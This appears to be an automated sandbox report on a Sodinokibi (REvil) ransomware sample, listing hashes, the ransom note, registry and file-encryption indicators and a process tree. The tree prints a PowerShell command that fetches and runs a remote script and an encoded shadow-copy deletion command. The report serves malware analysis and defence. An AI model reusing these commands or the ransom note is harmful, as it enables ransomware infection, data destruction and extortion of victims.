sodinokibi | 60f07d4e5bfcf8fc08bf003d47aa6915f9c2dd834aa0b75985106206216a460c

General

Target

7cd0bfdb268bef7da1671e95b6f5aa33.bat
Size

216B
MD5

a5ff6055fd55ba2b81de2d9b7100ec8a
SHA1

b8df51a999fc532ba49b2f5769ed7b850ca94f75
SHA256

60f07d4e5bfcf8fc08bf003d47aa6915f9c2dd834aa0b75985106206216a460c
SHA512

9596d6d408462e5eea678ffa474b6fca135fe71ad024ce6e080ef350ec370c7820585e805e58f44e11cd1fb362badc39878794e505343892c6eb4cbbccbca20d

Score

10^/10

ransomware persistence sodinokibi

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/7cd0bfdb268bef7da1671e95b6f5aa33

Extracted

Path

C:\860d66w-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension 860d66w. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/3FB5F5D0526F17E3 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/3FB5F5D0526F17E3 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: HwGblpMtMGZjV5TVt/lt/+KxJ1GQTEBd7zI/TmttiMQbzwOtNlrt4Q6vfsmxXcMO r3vpYgqxgLHw8pKufuAP92ZxEVhpTWxlCVsGX/Xl7PG4EWaYKw/esEKN//Wnb2ZL JZW/JcMkSUDBMi5LqkovhjFf5Fjt88ePnlEKtX0SVEX9ahwyxn0SpjIAZVTlI1fO llC7rtbP7AL/swUGVnaU1cTTc+guorcgcIhIywlbRVTrZr+JujeJA/vxsNDHHd0W ajWHHjtF4KX7Fq1SEadCE3bwbAvuUi72l6fJMXVVf/4v/WoFSeZZtRcFE5vQHUdM P36TwXLQaXItBls/U+i6krXjtlN0Kuyw719MZm2r0VvhEmfB7cxMSdTN0kvmMFpX 75XWvJ0OlHWRQTLlCiGW+rICyO80F+jO0lALBWhGM+nC9oCdXmqYIlfgjMdcpVd+ /fJ+dCSXhUiEaSNyMzJKaPdJSpzTRRpyNKInQbbPfnbAa9gBsByCFUAGoOsODM8/ GNSJotBri8oIydNRyioV8VaswXGJnCQ6VaMpHin6OYWdqARKo86dgVUV4dSBXopz EWGKbTv3hKWoT9N7+0zFJlGdkhQNBBUMm7rt+3LJ8QUwj+3osH1e8xAtg+2vCXLw gYY1sFCGxaBVRdqnSaw1hQysxCNZF63UYl7/J7RPkgn/oNBFNHYN7mAdZly+9xag 2gq3szPCGczJeqNV3h5q+CQ77qAyvImWtCvSDiCX534HD6QDSj+bTzyNZ1sO6Koy +W3mzi75m4nfuGOaDYvGNqD/tRk6BumZSJpb1GN9OLR0Nwv4kfd+zK55I989J9V6 Q+2b8pXTOOZ9WgUl+bksKqKGUJ4Tkaaqp+8c3QI6N1f3ussvL/uTv8+SgZHSOG0k cbH5iKYfYXq91P1mutMDJAzgHbQZSBDouKnydVfnrz4USnAd17EbTmwjiPcVUhvp 02ooofZycjzNxGc8WXCdIqeghjl6tfgi5nA3/dx1d+GzM2lCVUOXHYgXMJBvjrPs vnibxIBqKsVS40+LkJLm1j0YG7sbOScng2DR3UAcGGnrP5nNma6DaMClYRkIJCeH fFS4V7WF8Ww0KATctruBk6ezAneBs/Qb1+TmqVkYIVkWiRwE57DgbAXElWh7Il1u CgugKW9P+PbEoFCPg+rjMBVVDCpKlM3OJ01CfEKySvaqWUOfGk1575jKN/3Ql/g9 fd9NcAdeLK9qtFxDCtVrdJ3tvH1KA+NOaHbVrvD5Y5z96IbL/EHobDWgEvXWSsaO NZcqB2+AGC+GBbjZIhhRaBvM ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/3FB5F5D0526F17E3

http://decryptor.cc/3FB5F5D0526F17E3

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi
Blacklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

1 3228 powershell.exe

flow	pid	process
1	3228	powershell.exe

Modifies extensions of user files 8 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

powershell.exe

description	ioc	process
File renamed	C:\Users\Admin\Pictures\RestoreConnect.raw => \??\c:\users\admin\pictures\RestoreConnect.raw.860d66w	powershell.exe
File renamed	C:\Users\Admin\Pictures\StopUndo.tif => \??\c:\users\admin\pictures\StopUndo.tif.860d66w	powershell.exe
File renamed	C:\Users\Admin\Pictures\WriteClear.crw => \??\c:\users\admin\pictures\WriteClear.crw.860d66w	powershell.exe
File renamed	C:\Users\Admin\Pictures\EnterConnect.crw => \??\c:\users\admin\pictures\EnterConnect.crw.860d66w	powershell.exe
File renamed	C:\Users\Admin\Pictures\PushSet.png => \??\c:\users\admin\pictures\PushSet.png.860d66w	powershell.exe
File renamed	C:\Users\Admin\Pictures\ReadUnlock.crw => \??\c:\users\admin\pictures\ReadUnlock.crw.860d66w	powershell.exe
File renamed	C:\Users\Admin\Pictures\RemoveExpand.tif => \??\c:\users\admin\pictures\RemoveExpand.tif.860d66w	powershell.exe
File renamed	C:\Users\Admin\Pictures\StartEdit.raw => \??\c:\users\admin\pictures\StartEdit.raw.860d66w	powershell.exe

Enumerates connected drives 3 TTPs

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082

Modifies service 2 TTPs 4 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

vssvc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\s46vj03t504l.bmp"	powershell.exe

Drops file in Program Files directory 13 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	\??\c:\program files\ResolveUpdate.xlsb	powershell.exe
File opened for modification	\??\c:\program files\StopUninstall.tiff	powershell.exe
File opened for modification	\??\c:\program files\SwitchRepair.vb	powershell.exe
File opened for modification	\??\c:\program files\SwitchUnblock.dot	powershell.exe
File opened for modification	\??\c:\program files\UseShow.wps	powershell.exe
File created	\??\c:\program files\860d66w-readme.txt	powershell.exe
File created	\??\c:\program files (x86)\860d66w-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\BackupUnregister.ADTS	powershell.exe
File opened for modification	\??\c:\program files\SuspendDismount.xml	powershell.exe
File opened for modification	\??\c:\program files\UnregisterWatch.txt	powershell.exe
File opened for modification	\??\c:\program files\CompressRestart.mpp	powershell.exe
File opened for modification	\??\c:\program files\NewEnable.xlsx	powershell.exe
File opened for modification	\??\c:\program files\StepPop.wvx	powershell.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

powershell.exepowershell.exe

pid	process
3228	powershell.exe
3228	powershell.exe
3228	powershell.exe
3228	powershell.exe
3228	powershell.exe
736	powershell.exe
736	powershell.exe
736	powershell.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

Processes:

powershell.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	3228	powershell.exe
Token: SeDebugPrivilege	3228	powershell.exe
Token: SeDebugPrivilege	736	powershell.exe
Token: SeBackupPrivilege	3028	vssvc.exe
Token: SeRestorePrivilege	3028	vssvc.exe
Token: SeAuditPrivilege	3028	vssvc.exe
Token: SeTakeOwnershipPrivilege	3228	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

cmd.exepowershell.exe

description	pid	process	target process
PID 3832 wrote to memory of 3228	3832	cmd.exe	powershell.exe
PID 3832 wrote to memory of 3228	3832	cmd.exe	powershell.exe
PID 3832 wrote to memory of 3228	3832	cmd.exe	powershell.exe
PID 3228 wrote to memory of 736	3228	powershell.exe	powershell.exe
PID 3228 wrote to memory of 736	3228	powershell.exe	powershell.exe
PID 3228 wrote to memory of 736	3228	powershell.exe	powershell.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\7cd0bfdb268bef7da1671e95b6f5aa33.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3832

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/7cd0bfdb268bef7da1671e95b6f5aa33');Invoke-CROBJXDEH;Start-Sleep -s 10000"
2⤵
- Blacklisted process makes network request
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3228

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:736

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:3028

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

Replay Monitor

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Downloads

memory/736-13-0x0000000000000000-mapping.dmp

Download
memory/736-27-0x0000000009F40000-0x0000000009F41000-memory.dmp

Filesize
4KB

Download
memory/736-26-0x00000000096B0000-0x00000000096B1000-memory.dmp

Filesize
4KB

Download
memory/736-24-0x0000000009980000-0x0000000009981000-memory.dmp

Filesize
4KB

Download
memory/736-14-0x0000000073B60000-0x000000007424E000-memory.dmp

Filesize
6.9MB

Download
memory/3228-8-0x0000000007690000-0x0000000007691000-memory.dmp

Filesize
4KB

Download
memory/3228-6-0x0000000007560000-0x0000000007561000-memory.dmp

Filesize
4KB

Download
memory/3228-7-0x00000000077B0000-0x00000000077B1000-memory.dmp

Filesize
4KB

Download
memory/3228-0-0x0000000000000000-mapping.dmp

Download
memory/3228-9-0x0000000007BD0000-0x0000000007BD1000-memory.dmp

Filesize
4KB

Download
memory/3228-10-0x0000000007E60000-0x0000000007E61000-memory.dmp

Filesize
4KB

Download
memory/3228-11-0x0000000009620000-0x0000000009621000-memory.dmp

Filesize
4KB

Download
memory/3228-12-0x0000000008BA0000-0x0000000008BA1000-memory.dmp

Filesize
4KB

Download
memory/3228-5-0x00000000074F0000-0x00000000074F1000-memory.dmp

Filesize
4KB

Download
memory/3228-4-0x0000000006D10000-0x0000000006D11000-memory.dmp

Filesize
4KB

Download
memory/3228-3-0x0000000006EC0000-0x0000000006EC1000-memory.dmp

Filesize
4KB

Download
memory/3228-2-0x0000000006700000-0x0000000006701000-memory.dmp

Filesize
4KB

Download
memory/3228-1-0x0000000073B60000-0x000000007424E000-memory.dmp

Filesize
6.9MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads